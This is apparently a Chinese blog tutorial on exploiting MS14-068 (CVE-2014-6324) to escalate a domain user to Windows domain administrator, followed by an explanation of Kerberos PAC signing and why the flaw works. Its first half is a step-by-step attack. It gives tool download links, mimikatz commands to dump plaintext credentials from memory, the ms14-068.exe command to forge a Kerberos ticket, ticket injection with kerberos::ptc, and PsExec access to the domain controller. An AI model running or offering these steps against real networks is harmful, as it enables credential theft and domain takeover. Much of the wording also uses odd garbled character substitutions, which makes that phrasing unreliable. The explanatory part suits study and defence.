MS14-068(CVE-2014-6324)域控提權利用及原理解析

漏洞利用

0x01 漏洞利用前提

1.域控沒有打MS14-068的補丁(KB3011780)

2.拿下一臺加入域的計算機

3.有這臺域內計算機的域用戶密碼和Sid

0x02 工具下載

Ms14-068.exe 下載地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec 下載地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

mimikatz 下載地址:https://github.com/gentilkiwi/mimikatz/releases

0x03 漏洞利用

若是當前用戶爲域用戶

能夠直接用 whoami /user 獲取sid

  若是不是隻是本地用戶能夠用mimikatz 抓取本地的域用戶密碼

記住mimikatz要有管理員權限否則沒法抓取內存密碼，能夠以管理員權限運行。

 輸入privilege::debug 權限提高，在輸入log 會在當前文件夾下生成後面命令執行的結果方便咱們查找數據，最後輸入sekurlsa::logonPasswords 抓取密碼

 會在當前目錄生成mimikatz 日誌文件

 成功獲取到明文密碼，也獲取了域用戶sid 和域控主機名

利用ms14-068.exe 工具生成僞造的kerberos協議認證證書

 MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

 ms-14-068.exe -u   域用戶@域控名  -p 域用戶密碼 -s 域用戶sid -d 域ip

 利用mimikatz.exe將證書寫入，從而提高爲域管理員

kerberos::ptc 你的證書名字

 寫入成功後，使用PsExec.exe以管理員權限運行鏈接域控

 

 原理解析

0x04 Kerberos流程

域內主機請求處理流程

 

 

 0x05 PAC原理

 Server收到Client發來的TGS後，要根據TGS中Client申明所在的域組，和Server上的ACL進行對，而後決定給予Client什麼樣的資源訪問權限。微軟使用PAC來表示TGS中Client申明的域組。PAC（Privilege Attribute Certificate），特權屬性證書。

PAC包含Client的User的SID、Group的SID。PAC決定了Client的組屬性，即決定了Client的權限PAC爲了保證自身的合法性，還包含2個簽名，Key爲krbtgt的NTLM，簽名的內容除了User SID、Group SID外，還有其餘部分PAC做爲TGT的一部分，是加密的，密鑰爲krbtgt的NTLM做Client向KDC的AS模塊發起認證請求，AS返回TGT時，會根據Client所在的組，生成PAC，包含Client的User SID、Group SID，以及用於確保PAC不被篡改的2個簽名

 

 

 

 將PAC做爲TGT的一部分，發送給Client,Client使用TGT向KDC的TGS模塊發起訪問Server服務時，KDC的TGS模塊首先解密TGT，並經過校驗2個簽名，以驗證PAC的合法性。若是經過驗證，KDC的TGS模塊用2個新的簽名替代老的簽名來保證PAC不被篡改。第一個簽名的密鑰爲Server的NTLM，第二個密鑰爲Server與Client的臨時會話密鑰

 從新簽名後的PAC被放置在簽發的訪問票據TGS中，使用Server的NTLM做爲密鑰被加密保護Server收到來自Client的TGS後，解密TGS驗證合法性，校驗PAC中的2個簽名，確認PAC的合法性，而後確認Client的訪問權限

 0x06 漏洞成因

Client在發起認證請求時，經過設置include-PAC爲False,則返回TGT中不會包含PAC

 

 

 

 

KDC對PAC進行驗證時，對於PAC尾部的簽名算法，雖然原理上規定必須是帶有Key的簽名算法才能夠，但微軟在實現上，卻容許任意簽名算法，只要客戶端指定任意簽名算法，KDC服務器就會使用指定的算法進行簽名驗證。所以僞造的任意內容均可以是合法的，直接加上內容的MD5值做爲簽名便可（第一個緣由）

 PAC沒有被放在TGT中，放在其它地方。KDC在仍然可以正確解析出沒有放在TGT中的PAC信息PAC必須是密文，通過Key加密的KDC會從Authenticator中取出來subkey，把PAC信息解密並利用客戶端設定的簽名算法驗證簽名（第二個緣由）

KDC驗證缺乏PAC的TGT成功後，再驗證不在TGT中 的PAC的合法性。若是2個均驗證成功，KDC把PAC中的User SID、Group SID取出來，從新使用進行簽名，簽名算法和密鑰與設置inclue-pac標誌位爲TRUE時如出一轍。將將新產生的PAC加入到解密後的TGT中，再從新加密製做全新的TGT發送給Client，不是TGS（第三個緣由）

 

0x07 參考

原理理解部分來自------安全牛

http://www.freebuf.com/vuls/56081.html

https://www.secpulse.com/archives/32859.html